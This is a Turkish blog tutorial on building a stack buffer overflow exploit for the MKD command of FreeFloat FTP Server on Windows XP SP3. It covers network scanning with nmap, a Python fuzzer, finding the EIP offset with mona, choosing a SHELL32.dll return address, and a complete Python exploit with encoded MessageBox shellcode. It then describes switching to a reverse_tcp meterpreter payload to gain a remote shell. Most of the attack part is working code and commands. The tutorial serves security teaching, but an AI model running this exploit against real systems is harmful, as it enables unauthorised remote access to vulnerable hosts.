Merhaba, Bir önceki yazıda stack buffer overflow zafiyetinin ne olduğunu ve mantığını açıklamaya çalışmıştım.Şimdiki yazıda windows üzerinde çalışan bir uygulamada bulunan stack buffer overflow zafiyetinin exploit edilmesini anlatmaya çalışacağım.

Bug Hunting

İlk olarak bulunduğumuz ağı inceleyelim. Zafiyet bulunduran uygulama nedir, hangi port üzerinden çalışıyor ve bulunduğu işletim sistemi nedir vs. gibi bilgilere ulaşmamız gerekiyor. Burada “nmap” hemen yardımımıza koştu. nmap -n -Pn -sS -sV -O 172.16.195.0/24 komutu ile keşfe başlıyoruz.

keşif

BINGO!! Windows XP SP3 üzerinde çalışan “FreeFloat Ftp Server” isimli uygulamayı görüyoruz.Hatta standart ftp portu olan 21 değil 8080.port üzerinden çalıştığını görüyoruz.

port

Acaba hedefe buradan sızabilir miyiz diye düşünüp uygulama hakkında google’da araştırma yapıyoruz…

bof BINGO2!! Uygulamada MKD komutuyla tetiklenen stack buffer overflow zafiyeti olduğunu görüyoruz ve biz burdan dalarız arkadaş deyip işe koyuluyoruz.Bu uygulama için hali hazırda birçok exploit bulabilirsiniz, hatta metasploit ile de direkt saldırı gerçekleştirebilirsiniz. Biz bu yazıda kendimiz uygulamadaki buffer overflow açığını tetikleyip hedef sisteme erişimi sağlayacak exploiti geliştireceğiz.

Fuzzing

Uygulamada crash analizi yapmak için fuzzing işlemini yapmamız gerekiyor.Öncelikle zafiyet barındıran uygulamayı kendi windows xp makinemize indirip immunity debugger ile izlemeye alarak çalıştıralım. immunity

Bu tarz uygulamalara fuzzing yapmak için biraz da internetteki bilgilerden faydalanarak ufak bir python script kodlamıştım.

import sys
from socket import *
hedef = raw_input("Hedef IP'yi Gir: ")
port = int(raw_input("Hedef Portu Gir: "))
komut = raw_input("Fuzzing Yapilacak Komutu Gir: ")
print "\n[!]Fuzzing Basliyor!\n"
buf = '\x41' * 50
while True:
try:
soket = socket(AF_INET,SOCK_STREAM)
soket.settimeout(2)
soket.connect((hedef,port))
soket.recv(1024)
print "\n[+]Gonderilen buffer: "+str(len(buf))+" byte"
soket.send(komut+" "+buf+"\r\n")
soket.close()
buf += '\x41' * 50
except:
print "\n[+]Fuzzing Tamamlandi!\n"
print "*****************************"
print "[+]"+str(len(buf)-50)+" byte'da crash oldu! *"
print "*****************************"
sys.exit()

Şimdi kali linux üzerinden bu scripti kullanarak fuzzing yapalım.Scriptte gereken yerleri doldurmamız gerekiyor.

fuzzing Şimdi debugger’a bakalım durum nedir? crash Access violation hatası gelmiş.Stack AAAA..(hex 41) ile dolmuş, EIP’in durumuna bakacak olursak o da aynı şekilde 41414141.Yani EIP üzerine 41414141(AAAA) yazdırmayı başardık.

Exploiting

Peki uygulama neden crash oldu?Çünkü hafızada 41414141 adresinde bir değer olmadığı için program mantıklı ilerleyemedi.Sırada programı kendi isteğimiz doğrultusunda yönlendirmek var. Yani EIP üzerinen bizim istediğimiz bir şeyin adresini yazabilirsek programın akışını istediğimiz şekilde değiştirebiliriz. Görüldüğü üzere MKD komutuna argüman olarak 250 byte’dan fazla giriş olduğunda uygulama crash oluyor.
Öncelikle akışı değiştirme olayını yapmak için o 250 tane A karakteri içerisinde hangi kısmın EIP registerına düştüğünü belirlememiz gerekiyor. Bunun için metasploit’in kendi araçlarından pattern_create.rb ve patern_offset.rb scriptlerini kullanabilirsiniz fakat benim daha çok hoşuma gittiği için immunity debugger scriptlerine eklenen mona.py scriptini kullanarak bu işlemi debugger üzerinde yapacağım.

pattern_create, birbirinden farklı A-z, 0-9 kullanarak belirtilen uzunlukta random text oluşturuyor. 250 tane A yerine bunu kullanıp daha sonra EIP registerına gelen kısmı alıp, pattern_offset aracıyla EIP’in kaçıncı bayttan sonra yazıldığını öğreniyoruz.

!mona pattern_create 1000 komutunu kullanarak pattern oluşturuyoruz. pattern

pattern

import sys, socket

hedef = sys.argv[1]


buf="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((hedef,8080))
print s.recv(2048)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' +buf+'\r\n');
s.recv(1024)
s.send('QUIT\r\n')
s.close()

buf değişkenine oluşturduğumuz patterni ekledikten sonra python fuzzer.py <IP_Adresi> şeklinde tekrar fuzzing işlemini yapıp EIP’in durumuna bakıyoruz.

fuzz

pattern

Ardından 69413269 olan EIP değerini offset hesaplamak için kullanalım. !mona pattern_offset 69413269 pattern 247 offsetini gösterdi. Peki bu ne demek? Yani 247’den sonraki 4 Byte bizim EIP registerımızın üzerine geliyor demek. Bunu beraber inceleyelim isterseniz.

Toplam 1000 karakter göndermiştik, 247 tane A(hex 41)harfiden sonraki 4 byte EIP registerının üzerine denk geldiği için orayı daha net görmek adına scriptte şu şekilde düzenleme yapıyorum.

buf = 'A' * 247
buf += '\xEF\xBE\xAD\xDE'
buf += 'C' * (1000 - len(buf))

Sonraki kısmı da C(hex 43) ile doldurduk. Şimdi scripti tekrar çalıştırıp duruma bir bakalım.

pattern

Süper! EIP üzerine tam istediğimiz yazı tam denk geldi. Bu demektir ki EIP registerı üzerinde istediğimiz taklayı atabiliyoruz.Buradan sonra programın akışını istediğimiz şekilde değiştirebiliriz. Bunu nasıl yapacağız peki? Bunu yapmak için bize bir shellcode lazım. Programa parametre olarak gönderdiğimiz C’lerin yerine yani ESP’ye bu shellcode’u yazarsak ve program bu kodun olduğu yerden çalışmaya devam ederse bizim shellcode’umuz da çalıştırılmış olacaktır.Özetlersek shellcode’un yeri ESP’de yani bizim C’leri yazdığımız yerde olacak.Programın akışı oradan devam edecek.Umarım anlatabilmişimdir.

EIP’e Düşürmek

Şimdi programın içinde ESP registerına jump yapan bir kısım bulmamız ve EIP registerı üzerine bunu yazmamız gerekiyor.

Normalde JMP ESP instruction’ı bize EIP register’ı üzerinden başarılı bir şekilde program akışını kontrol etmemize olanak sağlıyor.Fakat bir engelden dolayı call esp yahut jmp esp yapamıyorsunuz.Shellcode atlama teknikleri apayrı bir konu olduğu için bu konu içerisinde değinemiyorum. PUSH ESP instruction’ını bulmanın birkaç yöntemi var.Bunun için ya immunity debugger içinden executable modules kısmından ya da mona.py isimli immunity debugger scriptinden faydalanabiliriz. İlk olarak mona.py ile nasıl bulabileceğimize bakalım.

  • Bunun için !mona jmp -r esp komutunu immunity debugger’da verelim.

jmpesp İlk satırdaki SHELL32.dll dosyasına ait bir push esp instruction’ı var.Adresine bakıyoruz => 0x7c9c167d.Bunu kenara not edelim lazım olacak.

  • Diğer yöntemin debugger içinde aramak olduğunu söylemiştim.Bunun için View->Executable File kısmından ya da debugger’ın üst menüsündeki e harfine tıklayarak programın kullandığı dll dosyalarını görebilirsiniz. jmpesp2 SHELL32.dll olan satıra çift tıklayıp dosyanın içine giriyoruz. jmpesp3 Ardından CTRL+F tuşlarıyla arama penceresenini açıp push esp yazıyoruz. jmpesp4 Evet ilk satırdaki 7C9C167D push esp’nin adresi. jmpesp5
  • Burada bir konuya değinmekte yarar var.Bulduğumuz adresin sabit olup olmaması.Hedef sistem windows xp ise evet sabit.Fakat sonraki sistemlerde buna bir koruma mekanizması getirilmiş.Bu mekanizmanın adı ASLR yani Address Space Layout Randomization.İyi dedin de arkadaş ne bu dediğinizi duyar gibiyim.ASLR koruması program her çalıştığında bir önceki adresten farklı bir adres üreterek bizim olaya sabit bir adresle müdahale etmemizi engelliyor.Bypass edilebilir mi, Evet! Fakat bu yazıda değil, fırsat bulursam bu konuya da ileriki yazılarda değinmeyi planlıyorum.Bizim hedef sistem windows xp olduğu için bizde sıkıntı yok bize her yer paris :)

Shellcode

Adresi not edin, lazım olacak demiştik => 0x7c9c167d.Şimdi bu adresi EIP registerına, ESP’ye de msfpayload ile oluşturacağımız shellcode’u yazalım. İlk deneme amaçlı ekrana MessageBox çıkartan bir shellcode oluşturacağız. Eğer çalışır ise hedef sistemi reverse_tcp ile meterpreter’a düşürecek shellcode’u oluşturacağız.Bütün bunları msfpayload kullanarak yapıyoruz tabiki.

jmpesp5

MessageBox exploitimizi oluşturduk.Deneyelim bakalım işe yarayacak mı?

#!/usr/bin/python
import socket
import sys

hedef = sys.argv[1]
port = int(sys.argv[2])

#msfpayload windows/messagebox TEXT='Are you disco?' TITLE='HELLO' R| msfencode -e x86/shikata_ga_nai -b '\x00\x0A\x0D' -t c
#[*] x86/shikata_ga_nai succeeded with size 287 (iteration=1)

shellcode = ("\xda\xc0\xd9\x74\x24\xf4\xb8\x50\xb3\x8e\x18\x5b\x29\xc9\xb1"
"\x42\x31\x43\x17\x83\xeb\xfc\x03\x13\xa0\x6c\xed\x4a\x2d\xeb"
"\xd7\x18\x96\xf8\xd9\x32\x64\x77\x2b\x7b\xed\xf3\x3a\x4b\x65"
"\x75\xb1\x20\x0f\x66\x42\x70\xf8\x1d\x2a\x5c\x73\x17\xeb\xd3"
"\x9b\x2d\xf8\xb2\x9a\x1c\x01\xa5\xfd\x15\x92\x01\xda\xa2\x2e"
"\x75\xa9\xe1\x98\xfd\xac\xe3\x52\xb7\xb6\x78\x3e\x67\xc6\x95"
"\x5c\x53\x81\xe2\x97\x10\x10\x1b\xe6\xd9\x22\x23\xf5\x89\xc1"
"\x63\x72\xd6\x08\xac\x76\xd9\x4d\xd8\x7d\xe2\x2d\x3b\x56\x61"
"\x2f\xc8\xfc\xad\xae\x24\x66\x26\xbc\xf1\xec\x62\xa1\x04\x18"
"\x19\xdd\x8d\xdf\xf5\x57\xd5\xfb\x19\x09\x15\xb1\x29\xe0\x4d"
"\x3f\xcc\x7b\xaf\x28\x80\x32\x3e\x45\xce\x22\xa1\x6a\x11\x4d"
"\x57\xd1\xe9\x09\x16\x02\x13\x1e\x60\xae\xf7\xb3\x86\x41\x08"
"\xcc\xa8\xd7\xb3\x3b\x3f\x84\x57\x1c\xfe\x3c\x94\x6e\x2e\xd9"
"\xb2\xfb\x5d\x44\x30\x8c\xfe\xa2\xbe\x05\x18\xfc\x41\x40\xe1"
"\x88\x7f\x3b\x52\x22\xdd\xf1\x18\xb4\x3d\x2e\x33\x53\x5c\xd1"
"\x4c\x5c\xf6\x62\xeb\x83\x26\x15\x43\x81\x6a\xa9\x62\xd2\xfa"
"\x6d\xa1\xe1\x73\x6e\xc1\x86\xbc\x29\x32\x31\xa6\xa0\x41\xa2"
"\x4e\x4a\xc9\x51\xae\xc4\x54\xe8\xcb\x34\x66\xc5\x9b\x79\xac"
"\xdb\x12\x60\x9d\x31\x76\x30\x8f\xe7\x89\x66\x1e\xc8\x25\x78"
"\x34\xc0")


buf = "\x90" * 30 + shellcode
exploit = "A"*247 + "\x7D\x16\x9C\x7C" + buf + "C"*(749-len(buf))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((hedef,port))
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + exploit + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

Gördüğünüz gibi MessageBox exploitimiz çalıştı.Bunu da başardığımıza göre işleri biraz ilerletelim o zaman :) jmpesp5

Mutlu SON

Şimdi hedef sistemden meterpreter shell almaya çalışalım ve bir uzun yazının daha sonuna gelelim.

jmpesp5

Aynı yukarıdaki şekilde oluşturduğumuz shellcode’u exploite ekleyerek tekrar çalıştıralım.Tabi öncesinde metasploit’ten listener’ı aktif hale getirelim.

jmpesp5

Şimdi exploiti çalıştıralım ve bakalım neler oluyor.

jmpesp5

An itibariyle hedef sisteme sızmış bulunmaktayız.Gördüğünüz gibi meterpreter shell açmayı başardık.Gerisi sizde :)

jmpesp5

Stack Tabanlı Buffer Overflow saldırısı ve exploit geliştirme aşamaları bu şekilde gerçekleşiyor.Sıkılmadan okuduğunuz için teşekkür ederim.Elimden geldiğince anlaşılır bir şekilde anlatmaya çalıştım. Bir başka yazıda görüşmek üzere.

  • Fatih Erdoğan

  • Intern Security Researcher at SignalSEC
Beğendiniz mi? O halde paylaşın: